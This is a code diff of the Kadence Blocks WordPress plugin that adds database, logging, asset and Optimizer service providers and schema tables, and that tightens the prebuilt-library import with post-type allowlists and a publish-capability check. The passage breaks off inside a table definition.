 		$video_html_attributes = array();
 		foreach ( $video_args as $key => $value ) {
 			if ( empty( $value ) ) {
@@ -1770,6 +1796,14 @@
 					}
 				}
 			}
+
+			/**
+			 * DO NOT REMOVE: The Optimizer uses this.
+			 *
+			 * @param array<string, mixed> $wrapper_args The wrapper div HTML attributes.
+			 * @param array<string, mixed> $attributes The current block attributes.
+			 */
+			$wrapper_args       = apply_filters( 'kadence_blocks_row_wrapper_args', $wrapper_args, $attributes );
 			$wrapper_attributes = get_block_wrapper_attributes( $wrapper_args );
 			$inner_wrapper_attributes = implode( ' ', $inner_wrap_attributes );
 			$content = sprintf( '<%1$s %2$s>%3$s<div %4$s>%5$s</div></%1$s>', $html_tag, $wrapper_attributes, $extra_content, $inner_wrapper_attributes, $content );
--- a/kadence-blocks/includes/class-kadence-blocks-prebuilt-library-rest-api.php
+++ b/kadence-blocks/includes/class-kadence-blocks-prebuilt-library-rest-api.php
@@ -846,14 +846,26 @@
 	 * @param string $content The content to process.
 	 */
 	public function process_cpt( $content, $cpt_blocks, $style ) {
+		$valid_cpt_block_names = [
+			'kadence/header',
+			'kadence/navigation',
+			'kadence/advanced-form',
+			'kadence/query',
+			'kadence/query-card',
+		];
+		$valid_cpt_block_post_types = [
+			'kadence_header',
+			'kadence_navigation',
+			'kadence_form',
+			'kadence_query',
+			'kadence_query_card',
+		];
+
+
 		foreach ( $cpt_blocks as $cpt_block_name => $cpt_block_content ) {
-			switch ( $cpt_block_name ) {
-				case 'kadence/header':
-				case 'kadence/navigation':
-				case 'kadence/advanced-form':
-				case 'kadence/query':
-				case 'kadence/query-card':
-					foreach ( $cpt_block_content as $cpt_key => $cpt_data ) {
+			if ( in_array( $cpt_block_name, $valid_cpt_block_names ) ) {
+				foreach ( $cpt_block_content as $cpt_key => $cpt_data ) {
+					if ( in_array( $cpt_data['post_type'], $valid_cpt_block_post_types ) ) {
 						$old_id = $cpt_data['ID'];
 						$id_map = [];
 						if ( ! empty( $cpt_data['inner_posts'] ) && is_array( $cpt_data['inner_posts'] ) ) {
@@ -872,7 +884,7 @@
 							$content               = $this->update_block_ids( $content, $new_id_map );
 						}
 					}
-					break;
+				}
 			}
 		}
 		return $content;
@@ -922,7 +934,7 @@
 				'post_type'    => $cpt_data['post_type'],
 				'post_title'   => $title,
 				'post_content' => '',
-				'post_status'  => 'publish',
+				'post_status'  => current_user_can( 'publish_posts' ) ? 'publish' : 'pending',
 			],
 			true
 		);
--- a/kadence-blocks/includes/resources/Admin/Admin_Provider.php
+++ b/kadence-blocks/includes/resources/Admin/Admin_Provider.php
@@ -0,0 +1,39 @@
+<?php declare( strict_types=1 );
+
+namespace KadenceWPKadenceBlocksAdmin;
+
+use KadenceWPKadenceBlocksAssetAsset;
+use KadenceWPKadenceBlocksStellarWPProphecyMonorepoContainerContractsProvider;
+
+/**
+ * Dashboard / wp-admin container definitions and hooks.
+ */
+final class Admin_Provider extends Provider {
+
+	public const HANDLE_POST_SAVED_EVENT = 'post-saved-event';
+
+	public function register(): void {
+		add_action(
+			'admin_init',
+			function (): void {
+				$this->register_post_saved_event();
+			}
+		);
+	}
+
+	/**
+	 * Register the post-saved-event action that fires when a Gutenberg post is saved.
+	 *
+	 * @return void
+	 */
+	private function register_post_saved_event(): void {
+		add_action(
+			'enqueue_block_editor_assets',
+			function (): void {
+				$asset = $this->container->get( Asset::class );
+
+				$asset->enqueue_script( self::HANDLE_POST_SAVED_EVENT, 'dist/post-saved-event' );
+			}
+		);
+	}
+}
--- a/kadence-blocks/includes/resources/App.php
+++ b/kadence-blocks/includes/resources/App.php
@@ -4,9 +4,14 @@

 use InvalidArgumentException;
 use KadenceWPKadenceBlocksAdbarDot;
+use KadenceWPKadenceBlocksAdminAdmin_Provider;
+use KadenceWPKadenceBlocksAssetAsset_Provider;
 use KadenceWPKadenceBlocksCacheCache_Provider;
+use KadenceWPKadenceBlocksDatabaseDatabase_Provider;
 use KadenceWPKadenceBlocksHealthHealth_Provider;
 use KadenceWPKadenceBlocksImage_DownloaderImage_Downloader_Provider;
+use KadenceWPKadenceBlocksLogLog_Provider;
+use KadenceWPKadenceBlocksOptimizerOptimizer_Provider;
 use KadenceWPKadenceBlocksShutdownShutdown_Provider;
 use KadenceWPKadenceBlocksStellarWPContainerContractContainerInterface;
 use KadenceWPKadenceBlocksStellarWPProphecyMonorepoContainerContractsContainer;
@@ -19,12 +24,12 @@
  */
 final class App {

-	private static $instance;
+	private static self $instance;

 	/**
 	 * @var Container
 	 */
-	private $container;
+	private Container $container;

 	/**
 	 * Add any custom providers here.
@@ -33,14 +38,22 @@
 	 *
 	 * @var class-string<Providable>
 	 */
-	private $providers = array(
+	private $providers = [
+		Log_Provider::class,
+		Database_Provider::class,
+		Asset_Provider::class,
 		Uplink_Provider::class,
 		Health_Provider::class,
+		Admin_Provider::class,
 		Image_Downloader_Provider::class,
+		Optimizer_Provider::class,
 		Cache_Provider::class,
 		Shutdown_Provider::class,
-	);
+	];

+	/**
+	 * @param Container $container
+	 */
 	private function __construct(
 		Container $container
 	) {
@@ -53,7 +66,7 @@
 	 * @param Container|null $container
 	 *
 	 * @return self
-	 * @throws InvalidArgumentException
+	 * @throws InvalidArgumentException If no container is provided.
 	 */
 	public static function instance( ?Container $container = null ): App {
 		if ( ! isset( self::$instance ) ) {
@@ -91,5 +104,4 @@
 	public function __sleep(): array {
 		throw new RuntimeException( 'method not implemented' );
 	}
-
 }
--- a/kadence-blocks/includes/resources/Asset/Asset.php
+++ b/kadence-blocks/includes/resources/Asset/Asset.php
@@ -0,0 +1,61 @@
+<?php declare( strict_types=1 );
+
+namespace KadenceWPKadenceBlocksAsset;
+
+final class Asset {
+
+	/**
+	 * @var string The URL to the plugin's main folder.
+	 */
+	private string $plugin_url;
+
+	/**
+	 * @param string $plugin_url The URL to the plugin's main folder.
+	 */
+	public function __construct( string $plugin_url ) {
+		$this->plugin_url = $plugin_url;
+	}
+
+	/**
+	 * Get an asset URL.
+	 *
+	 * @param  string $path A relative path to an asset.
+	 *
+	 * @return string The full URL to the asset.
+	 */
+	public function get_url( string $path = '' ): string {
+		return $this->plugin_url . $path;
+	}
+
+	/**
+	 * Get the asset meta.
+	 *
+	 * @param string $path The filepath without extension, e.g. dist/hello.
+	 *
+	 * @return array{dependencies?: string[], version?: string };
+	 */
+	public function get_meta( string $path = '' ): array {
+		return kadence_blocks_get_asset_file( $path );
+	}
+
+	/**
+	 * Enqueue a script.
+	 *
+	 * @param string $name The name of the script.
+	 * @param string $path The relative path to the script, without extension, e.g. build/settings.
+	 * @param string $ext The file extension without a period.
+	 *
+	 * @return void
+	 */
+	public function enqueue_script( string $name, string $path, string $ext = 'js' ): void {
+		$meta = $this->get_meta( $path );
+
+		wp_enqueue_script(
+			$name,
+			$this->get_url( "$path.$ext" ),
+				$meta['dependencies'] ?? [],
+				$meta['version'] ?? '',
+			true
+		);
+	}
+}
--- a/kadence-blocks/includes/resources/Asset/Asset_Provider.php
+++ b/kadence-blocks/includes/resources/Asset/Asset_Provider.php
@@ -0,0 +1,17 @@
+<?php declare( strict_types=1 );
+
+namespace KadenceWPKadenceBlocksAsset;
+
+use KadenceWPKadenceBlocksStellarWPProphecyMonorepoContainerContractsProvider;
+
+final class Asset_Provider extends Provider {
+
+	/**
+	 * @inheritDoc
+	 */
+	public function register(): void {
+		$this->container->when( Asset::class )
+						->needs( '$plugin_url' )
+						->give( static fn(): string => KADENCE_BLOCKS_URL );
+	}
+}
--- a/kadence-blocks/includes/resources/Database/Database_Provider.php
+++ b/kadence-blocks/includes/resources/Database/Database_Provider.php
@@ -0,0 +1,53 @@
+<?php declare( strict_types=1 );
+
+namespace KadenceWPKadenceBlocksDatabase;
+
+use KadenceWPKadenceBlocksOptimizerDatabaseOptimizer_Table;
+use KadenceWPKadenceBlocksOptimizerDatabaseViewport_Hash_Table;
+use KadenceWPKadenceBlocksPsrLogLoggerInterface;
+use KadenceWPKadenceBlocksStellarWPDBDatabaseExceptionsDatabaseQueryException;
+use KadenceWPKadenceBlocksStellarWPDBDB;
+use KadenceWPKadenceBlocksStellarWPProphecyMonorepoContainerContractsProvider;
+use KadenceWPKadenceBlocksStellarWPSchemaConfig;
+use KadenceWPKadenceBlocksStellarWPSchemaRegister;
+
+final class Database_Provider extends Provider {
+
+	public const SCHEMA_TABLES = 'kadence_blocks.database.schema_tables';
+
+	/**
+	 * Configure the stellarwp/schema library.
+	 *
+	 * @throws DatabaseQueryException If we failed to create or update the database tables.
+	 *
+	 * @return void
+	 */
+	public function register(): void {
+		Config::set_container( $this->container );
+		Config::set_db( DB::class );
+
+		// Add all schema tables to be registered here.
+		$this->container->setVar(
+			self::SCHEMA_TABLES,
+			[
+				Viewport_Hash_Table::class,
+				Optimizer_Table::class,
+			]
+		);
+
+		try {
+			Register::tables( $this->container->getVar( self::SCHEMA_TABLES ) );
+		} catch ( DatabaseQueryException $e ) {
+			$this->container->get( LoggerInterface::class )->emergency(
+				'Unable to create or update database tables',
+				[
+					'query_errors' => $e->getQueryErrors(),
+					'query'        => $e->getQuery(),
+					'exception'    => $e,
+				]
+			);
+
+			throw $e;
+		}
+	}
+}
--- a/kadence-blocks/includes/resources/Database/Query.php
+++ b/kadence-blocks/includes/resources/Database/Query.php
@@ -0,0 +1,75 @@
+<?php declare( strict_types=1 );
+
+namespace KadenceWPKadenceBlocksDatabase;
+
+use KadenceWPKadenceBlocksStellarWPDBDB;
+use KadenceWPKadenceBlocksStellarWPDBQueryBuilderQueryBuilder;
+
+/**
+ * A query wrapper for the StellarWP DB instance using a specific
+ * table.
+ *
+ * This class should be extended and configured for a specific table
+ * via a Provider.
+ */
+abstract class Query {
+
+	/**
+	 * The WordPress table name without a prefix.
+	 *
+	 * @var string
+	 */
+	protected string $table;
+
+	/**
+	 * @param string $table The WordPress table name without a prefix.
+	 */
+	public function __construct( string $table ) {
+		$this->table = $table;
+	}
+
+	/**
+	 * Get the current table being used.
+	 *
+	 * @return string
+	 */
+	public function table(): string {
+		return $this->table;
+	}
+
+	/**
+	 * Get the table name with prefix.
+	 *
+	 * @return string
+	 */
+	public function table_with_prefix(): string {
+		global $wpdb;
+
+		return $wpdb->prefix . $this->table;
+	}
+
+	/**
+	 * Get the query builder for this table.
+	 *
+	 * @return QueryBuilder
+	 */
+	public function qb(): QueryBuilder {
+		return DB::table( $this->table );
+	}
+
+	/**
+	 * Wrapper for wpdb::get_var
+	 *
+	 * @see wpdb::get_var()
+	 *
+	 * @param string|null $query Optional. SQL query. Defaults to null, use the result from the
+	 *     previous query.
+	 * @param int         $x Optional. Column of value to return. Indexed from 0. Default 0.
+	 * @param int         $y Optional. Row of value to return. Indexed from 0. Default 0.
+	 *
+	 * @return string|null
+	 */
+	public function get_var( ?string $query = null, int $x = 0, int $y = 0 ): ?string {
+		return DB::get_var( $query, $x, $y );
+	}
+}
--- a/kadence-blocks/includes/resources/Image_Downloader/Image_Downloader_Provider.php
+++ b/kadence-blocks/includes/resources/Image_Downloader/Image_Downloader_Provider.php
@@ -3,18 +3,11 @@
 namespace KadenceWPKadenceBlocksImage_Downloader;

 use KadenceWPKadenceBlocksHasher;
-use KadenceWPKadenceBlocksMonologHandlerAbstractHandler;
-use KadenceWPKadenceBlocksMonologHandlerErrorLogHandler;
-use KadenceWPKadenceBlocksMonologHandlerNullHandler;
-use KadenceWPKadenceBlocksMonologLogger;
-use KadenceWPKadenceBlocksPsrLogLoggerInterface;
 use KadenceWPKadenceBlocksStellarWPProphecyMonorepoContainerContractsProvider;
 use KadenceWPKadenceBlocksStellarWPProphecyMonorepoImageDownloaderFileNameProcessor;
 use KadenceWPKadenceBlocksStellarWPProphecyMonorepoImageDownloaderImageDownloader;
 use KadenceWPKadenceBlocksStellarWPProphecyMonorepoImageDownloaderSanitizationContractsSanitizer;
 use KadenceWPKadenceBlocksStellarWPProphecyMonorepoImageDownloaderSanitizationSanitizersWPFileNameSanitizer;
-use KadenceWPKadenceBlocksStellarWPProphecyMonorepoLogFormattersColoredLineFormatter;
-use KadenceWPKadenceBlocksStellarWPProphecyMonorepoLogLogLevel;
 use KadenceWPKadenceBlocksSymfonyComponentHttpClientHttpClient;
 use KadenceWPKadenceBlocksSymfonyComponentStringSluggerAsciiSlugger;
 use KadenceWPKadenceBlocksSymfonyComponentStringSluggerSluggerInterface;
@@ -30,58 +23,18 @@
 		$this->container->bind( HttpClientInterface::class, HttpClient::create() );

 		$this->register_hasher();
-		$this->register_logging();
 		$this->register_cache_primer();
 		$this->register_image_downloader();
 	}

 	private function register_hasher(): void {
 		$this->container->when( Hasher::class )
-		                ->needs( '$algo' )
-		                ->give( static function (): string {
-			                return PHP_VERSION_ID >= 80100 ? 'xxh128' : 'md5';
-		                } );
-	}
-
-	private function register_logging(): void {
-		// Enable logging to the error log if WP_DEBUG is enabled and error_log is not listed in the php.ini/fpm disable_functions directive.
-		if ( defined( 'WP_DEBUG' ) && WP_DEBUG && function_exists( 'error_log' ) ) {
-			/**
-			 * Filter the log level to use when debugging.
-			 *
-			 * @param string $log_level One of: debug, info, notice, warning, error, critical, alert, emergency
-			 */
-			$log_level = apply_filters( 'kadence_blocks_image_download_log_level', 'debug' );
-
-			$this->container->when( ColoredLineFormatter::class )
-			                ->needs( '$dateFormat' )
-			                ->give( 'd/M/Y:H:i:s O' );
-
-			$this->container->when( AbstractHandler::class )
-			                ->needs( '$level' )
-			                ->give( LogLevel::fromName( $log_level ) );
-
-			$this->container->when( ErrorLogHandler::class )
-			                ->needs( '$level' )
-			                ->give( LogLevel::fromName( $log_level ) );
-
-			$this->container->bind( LoggerInterface::class, function () {
-				$logger  = new Logger( 'kadence' );
-				$handler = $this->container->get( ErrorLogHandler::class );
-				$handler->setFormatter( $this->container->get( ColoredLineFormatter::class ) );
-				$logger->pushHandler( $handler );
-
-				return $logger;
-			} );
-		} else {
-			// Disable logging.
-			$this->container->bind( LoggerInterface::class, static function () {
-				$logger = new Logger( 'null' );
-				$logger->pushHandler( new NullHandler() );
-
-				return $logger;
-			} );
-		}
+						->needs( '$algo' )
+						->give(
+							static function (): string {
+								return PHP_VERSION_ID >= 80100 ? 'xxh128' : 'md5';
+							}
+						);
 	}

 	private function register_cache_primer(): void {
@@ -102,12 +55,12 @@
 		$cache_duration = absint( apply_filters( 'kadence_blocks_cache_primer_cache_duration', HOUR_IN_SECONDS ) );

 		$this->container->when( Cache_Primer::class )
-		                ->needs( '$batch_size' )
-		                ->give( $batch_size );
+						->needs( '$batch_size' )
+						->give( $batch_size );

 		$this->container->when( Cache_Primer::class )
-		                ->needs( '$cache_duration' )
-		                ->give( $cache_duration );
+						->needs( '$cache_duration' )
+						->give( $cache_duration );

 		$this->container->singleton( Cache_Primer::class, Cache_Primer::class );
 	}
@@ -121,13 +74,15 @@

 		// Configure the allowed file extensions that are allowed to be processed.
 		$this->container->when( FileNameProcessor::class )
-		                ->needs( '$allowed_extensions' )
-		                ->give( [
-			                'jpg'  => true,
-			                'jpeg' => true,
-			                'webp' => true,
-			                'png'  => true,
-		                ] );
+						->needs( '$allowed_extensions' )
+						->give(
+							[
+								'jpg'  => true,
+								'jpeg' => true,
+								'webp' => true,
+								'png'  => true,
+							]
+						);

 		/**
 		 * Filter how many concurrent download requests we will open at once before we attempt to save
@@ -140,8 +95,7 @@
 		$batch_size = absint( apply_filters( 'kadence_blocks_image_download_batch_size', 200 ) );

 		$this->container->when( ImageDownloader::class )
-		                ->needs( '$batch_size' )
-		                ->give( $batch_size );
+						->needs( '$batch_size' )
+						->give( $batch_size );
 	}
-
 }
--- a/kadence-blocks/includes/resources/Log/Log_Provider.php
+++ b/kadence-blocks/includes/resources/Log/Log_Provider.php
@@ -0,0 +1,74 @@
+<?php declare( strict_types=1 );
+
+namespace KadenceWPKadenceBlocksLog;
+
+use KadenceWPKadenceBlocksMonologHandlerAbstractHandler;
+use KadenceWPKadenceBlocksMonologHandlerErrorLogHandler;
+use KadenceWPKadenceBlocksMonologHandlerNullHandler;
+use KadenceWPKadenceBlocksMonologLogger;
+use KadenceWPKadenceBlocksPsrLogLoggerInterface;
+use KadenceWPKadenceBlocksStellarWPProphecyMonorepoContainerContractsProvider;
+use KadenceWPKadenceBlocksStellarWPProphecyMonorepoLogFormattersColoredLineFormatter;
+use KadenceWPKadenceBlocksStellarWPProphecyMonorepoLogLogLevel;
+
+final class Log_Provider extends Provider {
+
+	/**
+	 * @inheritDoc
+	 */
+	public function register(): void {
+		// Enable logging to the error log if WP_DEBUG is enabled and error_log is not listed in the php.ini/fpm disable_functions directive.
+		if ( defined( 'WP_DEBUG' ) && WP_DEBUG && function_exists( 'error_log' ) ) {
+			/**
+			 * Filter the log level to use when debugging.
+			 *
+			 * @param string $log_level One of: debug, info, notice, warning, error, critical, alert, emergency
+			 */
+			$log_level = apply_filters( 'kadence_blocks_image_download_log_level', 'debug' );
+
+			$this->container->when( ColoredLineFormatter::class )
+							->needs( '$dateFormat' )
+							->give( 'd/M/Y:H:i:s O' );
+
+			$this->container->when( AbstractHandler::class )
+							->needs( '$level' )
+							->give( LogLevel::fromName( $log_level ) );
+
+			$this->container->when( ErrorLogHandler::class )
+							->needs( '$level' )
+							->give( LogLevel::fromName( $log_level ) );
+
+			$this->container->bind(
+				LoggerInterface::class,
+				function () {
+					$logger  = new Logger( 'kadence' );
+					$handler = $this->container->get( ErrorLogHandler::class );
+					$handler->setFormatter( $this->container->get( ColoredLineFormatter::class ) );
+					$logger->pushHandler( $handler );
+
+					// Prefix logs.
+					$logger->pushProcessor(
+						static function ( array $record ): array {
+							$record['message'] = '[Kadence Blocks]: ' . $record['message'];
+
+							return $record;
+						}
+					);
+
+					return $logger;
+				}
+			);
+		} else {
+			// Disable logging.
+			$this->container->bind(
+				LoggerInterface::class,
+				static function () {
+					$logger = new Logger( 'null' );
+					$logger->pushHandler( new NullHandler() );
+
+					return $logger;
+				}
+			);
+		}
+	}
+}
--- a/kadence-blocks/includes/resources/Optimizer/Analysis_Registry.php
+++ b/kadence-blocks/includes/resources/Optimizer/Analysis_Registry.php
@@ -0,0 +1,145 @@
+<?php declare( strict_types=1 );
+
+namespace KadenceWPKadenceBlocksOptimizer;
+
+use InvalidArgumentException;
+use KadenceWPKadenceBlocksOptimizerPathPath;
+use KadenceWPKadenceBlocksOptimizerPathPath_Factory;
+use KadenceWPKadenceBlocksOptimizerResponseWebsiteAnalysis;
+use KadenceWPKadenceBlocksOptimizerStoreContractsStore;
+
+/**
+ * A registry to fetch custom data from the WebsiteAnalysis DTO.
+ *
+ * @phpstan-type HtmlClassHeightMap array<string, float> Class attribute => height in pixels.
+ */
+class Analysis_Registry {
+
+	private const SECTIONS = 'sections';
+
+	/**
+	 * Memoization cache.
+	 *
+	 * @var array<string, mixed>
+	 */
+	private array $cache               = [];
+	private ?Path $path                = null;
+	private ?WebsiteAnalysis $analysis = null;
+	private Store $store;
+	private bool $is_mobile;
+
+	public function __construct(
+		Store $store,
+		Path_Factory $path_factory,
+		bool $is_mobile
+	) {
+		$this->store     = $store;
+		$this->is_mobile = $is_mobile;
+
+		try {
+			$this->path = $path_factory->make();
+		} catch ( InvalidArgumentException $e ) {
+			$this->path = null;
+		}
+	}
+
+	/**
+	 * Flush the memoization cache.
+	 *
+	 * @return void
+	 */
+	public function flush(): void {
+		$this->analysis = null;
+		$this->cache    = [];
+	}
+
+	/**
+	 * Build the WebsiteAnalysis DTO based on the current path.
+	 *
+	 * @return WebsiteAnalysis|null
+	 */
+	public function get_analysis(): ?WebsiteAnalysis {
+		if ( $this->analysis !== null ) {
+			return $this->analysis;
+		}
+
+		if ( ! $this->path ) {
+			return null;
+		}
+
+		$this->analysis = $this->store->get( $this->path );
+
+		return $this->analysis;
+	}
+
+	/**
+	 * Check if this request is optimized.
+	 *
+	 * @return bool
+	 */
+	public function is_optimized(): bool {
+		return $this->get_analysis() instanceof WebsiteAnalysis;
+	}
+
+	/**
+	 * Get the above the fold background images for the current viewport.
+	 *
+	 * @return string[]
+	 */
+	public function get_background_images(): array {
+		$analysis = $this->get_analysis();
+
+		return $analysis
+			? ( $this->is_mobile ? $analysis->mobile->backgroundImages : $analysis->desktop->backgroundImages )
+			: [];
+	}
+
+	/**
+	 * Get the list of the above the fold image URLs.
+	 *
+	 * @return string[]
+	 */
+	public function get_critical_images(): array {
+		$analysis = $this->get_analysis();
+
+		return $analysis
+			? ( $this->is_mobile ? $analysis->mobile->criticalImages : $analysis->desktop->criticalImages )
+			: [];
+	}
+
+	/**
+	 * For the current viewport, get all the "below the fold" sections that have a height
+	 * greater than 0.
+	 *
+	 * @return HtmlClassHeightMap
+	 */
+	public function get_valid_sections(): array {
+		if ( isset( $this->cache[ self::SECTIONS ] ) ) {
+			return $this->cache[ self::SECTIONS ];
+		}
+
+		$analysis = $this->get_analysis();
+
+		if ( ! $analysis ) {
+			$this->cache[ self::SECTIONS ] = [];
+
+			return [];
+		}
+
+		$sections = $this->is_mobile
+			? $analysis->mobile->getBelowTheFoldSections()
+			: $analysis->desktop->getBelowTheFoldSections();
+
+		$results = [];
+
+		foreach ( $sections as $section ) {
+			if ( $section->height > 0 ) {
+				$results[ $section->className ] = $section->height;
+			}
+		}
+
+		$this->cache[ self::SECTIONS ] = $results;
+
+		return $this->cache[ self::SECTIONS ];
+	}
+}
--- a/kadence-blocks/includes/resources/Optimizer/Asset/Provider.php
+++ b/kadence-blocks/includes/resources/Optimizer/Asset/Provider.php
@@ -0,0 +1,25 @@
+<?php declare( strict_types=1 );
+
+namespace KadenceWPKadenceBlocksOptimizerAsset;
+
+use KadenceWPKadenceBlocksOptimizerAsset_Loader;
+use KadenceWPKadenceBlocksStellarWPProphecyMonorepoContainerContractsProvider as Provider_Contract;
+
+final class Provider extends Provider_Contract {
+
+	public function register(): void {
+		$this->container->singleton( Asset_Loader::class, Asset_Loader::class );
+
+		add_action(
+			'enqueue_block_editor_assets',
+			$this->container->callback( Asset_Loader::class, 'enqueue_block_editor_scripts' ),
+			20,
+			0
+		);
+
+		add_action(
+			'admin_enqueue_scripts',
+			$this->container->callback( Asset_Loader::class, 'enqueue_post_list_table' )
+		);
+	}
+}
--- a/kadence-blocks/includes/resources/Optimizer/Asset_Loader.php
+++ b/kadence-blocks/includes/resources/Optimizer/Asset_Loader.php
@@ -0,0 +1,97 @@
+<?php declare( strict_types=1 );
+
+namespace KadenceWPKadenceBlocksOptimizer;
+
+use KadenceWPKadenceBlocksAssetAsset;
+use KadenceWPKadenceBlocksOptimizerNonceNonce;
+use KadenceWPKadenceBlocksOptimizerTranslationText_Repository;
+
+final class Asset_Loader {
+
+	public const OPTIMIZER_SCRIPT_HANDLE = 'kadence-blocks-admin-optimizer';
+	public const POST_LIST_STYLE_HANDLE  = 'kadence-blocks-post-list-table';
+
+	private Asset $asset;
+	private Text_Repository $text_repository;
+	private Nonce $nonce;
+
+	/**
+	 * @param Asset           $asset
+	 * @param Text_Repository $text_repository
+	 * @param Nonce           $nonce
+	 */
+	public function __construct(
+		Asset $asset,
+		Text_Repository $text_repository,
+		Nonce $nonce
+	) {
+		$this->asset           = $asset;
+		$this->text_repository = $text_repository;
+		$this->nonce           = $nonce;
+	}
+
+	/**
+	 * Enqueue Optimizer scripts when editing a post in Gutenberg.
+	 *
+	 * @action enqueue_block_editor_assets
+	 *
+	 * @return void
+	 */
+	public function enqueue_block_editor_scripts(): void {
+		$this->enqueue_optimizer_js();
+	}
+
+	/**
+	 * Enqueue Optimizer scripts and the post list table column styles.
+	 *
+	 * @action admin_enqueue_scripts
+	 *
+	 * @param string $hook The current admin screen.
+	 *
+	 * @return void
+	 */
+	public function enqueue_post_list_table( string $hook ): void {
+		if ( 'edit.php' !== $hook ) {
+			return;
+		}
+
+		wp_register_style(
+			self::POST_LIST_STYLE_HANDLE,
+			$this->asset->get_url( 'includes/assets/css/post-list-table.min.css' ),
+			[],
+			KADENCE_BLOCKS_VERSION
+		);
+
+		wp_enqueue_style( self::POST_LIST_STYLE_HANDLE );
+
+		$this->enqueue_optimizer_js();
+	}
+
+	/**
+	 * Enqueue the Optimizer scripts.
+	 *
+	 * @action admin_enqueue_scripts
+	 * @action enqueue_block_editor_assets
+	 *
+	 * @return void
+	 */
+	private function enqueue_optimizer_js(): void {
+		$this->asset->enqueue_script( self::OPTIMIZER_SCRIPT_HANDLE, 'dist/kadence-optimizer' );
+
+		// Add post list table optimizer status translations.
+		wp_localize_script(
+			self::OPTIMIZER_SCRIPT_HANDLE,
+			'kbOptimizerL10n',
+			$this->text_repository->all()
+		);
+
+		// TODO: probably move this into a new script.
+		wp_localize_script(
+			self::OPTIMIZER_SCRIPT_HANDLE,
+			'kbOptimizer',
+			[
+				'token' => $this->nonce->create(),
+			]
+		);
+	}
+}
--- a/kadence-blocks/includes/resources/Optimizer/Database/Optimizer_Query.php
+++ b/kadence-blocks/includes/resources/Optimizer/Database/Optimizer_Query.php
@@ -0,0 +1,15 @@
+<?php declare( strict_types=1 );
+
+namespace KadenceWPKadenceBlocksOptimizerDatabase;
+
+use KadenceWPKadenceBlocksDatabaseQuery;
+use KadenceWPKadenceBlocksOptimizerOptimizer_Provider;
+
+/**
+ * A query builder wrapper for the Optimizer table.
+ *
+ * @see Optimizer_Provider::register_optimizer_query()
+ */
+final class Optimizer_Query extends Query {
+
+}
--- a/kadence-blocks/includes/resources/Optimizer/Database/Optimizer_Table.php
+++ b/kadence-blocks/includes/resources/Optimizer/Database/Optimizer_Table.php
@@ -0,0 +1,66 @@
+<?php declare( strict_types=1 );
+
+namespace KadenceWPKadenceBlocksOptimizerDatabase;
+
+use KadenceWPKadenceBlocksStellarWPDBDatabaseExceptionsDatabaseQueryException;
+use KadenceWPKadenceBlocksStellarWPSchemaTablesContractsTable;
+
+/**
+ * The optimizer database table to store optimizer data.
+ */
+final class Optimizer_Table extends Table {
+
+	public const SCHEMA_VERSION = '2.0.4';
+
+	/**
+	 * @var string The base table name.
+	 */
+	protected static $base_table_name = 'kb_optimizer';
+
+	/**
+	 * @var string The organizational group this table belongs to.
+	 */
+	protected static $group = 'kb';
+
+	/**
+	 * @var string|null The slug used to identify the custom table.
+	 */
+	protected static $schema_slug = 'optimizer';
+
+	/**
+	 * @var string The field that uniquely identifies a row in the table.
+	 */
+	protected static $uid_column = 'path_hash';
+
+	/**
+	 * Overload the update method to first drop the database as this is a temporary table.
+	 *
+	 * @throws DatabaseQueryException If any of the queries fail.
+	 *
+	 * @return string[]
+	 */
+	public function update() {
+		if ( $this->exists() ) {
+			$this->drop();
+		}
+
+		return parent::update();
+	}
+
+	/**
+	 * @inheritDoc
+	 */
+	protected function get_definition(): string {
+		global $wpdb;
+		$table_name      = self::table_name();
+		$charset_collate = $wpdb->get_charset_collate();
+
+		return "
+			CREATE TABLE `$table_name` (
+		    path_hash CHAR(64) PRIMARY KEY COMMENT 'SHA-256 hash of the relative path of the URL used as a unique key for fast lookups',
+		    path TEXT NOT NULL COMMENT 'The relative path of the URL, stored for reference and debugging',
+		    analysis LONGTEXT NOT NULL COMMENT 'Serialized or JSON-encoded analysis data associated with the path'
+		) {$charset_collate};
+		";
+	}
+}
--- a/kadence-blocks/includes/resources/Optimizer/Database/Provider.php
+++ b/kadence-blocks/includes/resources/Optimizer/Database/Provider.php
@@ -0,0 +1,29 @@
+<?php declare( strict_types=1 );
+
+namespace KadenceWPKadenceBlocksOptimizerDatabase;
+
+use KadenceWPKadenceBlocksStellarWPProphecyMonorepoContainerContractsProvider as Provider_Contract;
+
+final class Provider extends Provider_Contract {
+
+	public function register(): void {
+		$this->register_optimizer_query();
+		$this->register_viewport_query();
+	}
+
+	private function register_optimizer_query(): void {
+		$this->container->singleton( Optimizer_Query::class, Optimizer_Query::class );
+
+		$this->container->when( Optimizer_Query::class )
+						->needs( '$table' )
+						->give( static fn(): string => Optimizer_Table::table_name( false ) );
+	}
+
+	private function register_viewport_query(): void {
+		$this->container->singleton( Viewport_Query::class, Viewport_Query::class );
+
+		$this->container->when( Viewport_Query::class )
+						->needs( '$table' )
+						->give( static fn(): string => Viewport_Hash_Table::table_name( false ) );
+	}
+}
--- a/kadence-blocks/includes/resources/Optimizer/Database/Viewport_Hash_Table.php
+++ b/kadence-blocks/includes/resources/Optimizer/Database/Viewport_Hash_Table.php
@@ -0,0 +1,72 @@
+<?php declare( strict_types=1 );
+
+namespace KadenceWPKadenceBlocksOptimizerDatabase;
+
+use KadenceWPKadenceBlocksOptimizerEnumsViewport;
+use KadenceWPKadenceBlocksStellarWPDBDatabaseExceptionsDatabaseQueryException;
+use KadenceWPKadenceBlocksStellarWPSchemaTablesContractsTable;
+
+/**
+ * Database table to store viewport-specific HTML hashes for each URL path.
+ */
+final class Viewport_Hash_Table extends Table {
+
+	public const SCHEMA_VERSION = '1.0.4';
+
+	/**
+	 * @var string The base table name.
+	 */
+	protected static $base_table_name = 'kb_optimizer_viewport_hashes';
+
+	/**
+	 * @var string The organizational group this table belongs to.
+	 */
+	protected static $group = 'kb';
+
+	/**
+	 * @var string|null The slug used to identify the custom table.
+	 */
+	protected static $schema_slug = 'viewport_hashes';
+
+	/**
+	 * @var string[] The fields that uniquely identify a row in the table (composite key).
+	 */
+	protected static $uid_column = 'path_hash';
+
+	/**
+	 * Overload the update method to drop the database first (optional, like your Optimizer_Table).
+	 *
+	 * @throws DatabaseQueryException If any of the queries fail.
+	 *
+	 * @return string[]
+	 */
+	public function update() {
+		if ( $this->exists() ) {
+			$this->drop();
+		}
+
+		return parent::update();
+	}
+
+	/**
+	 * @inheritDoc
+	 */
+	protected function get_definition(): string {
+		global $wpdb;
+		$table_name      = self::table_name();
+		$charset_collate = $wpdb->get_charset_collate();
+
+		// Build a 'desktop', 'mobile' ENUM input.
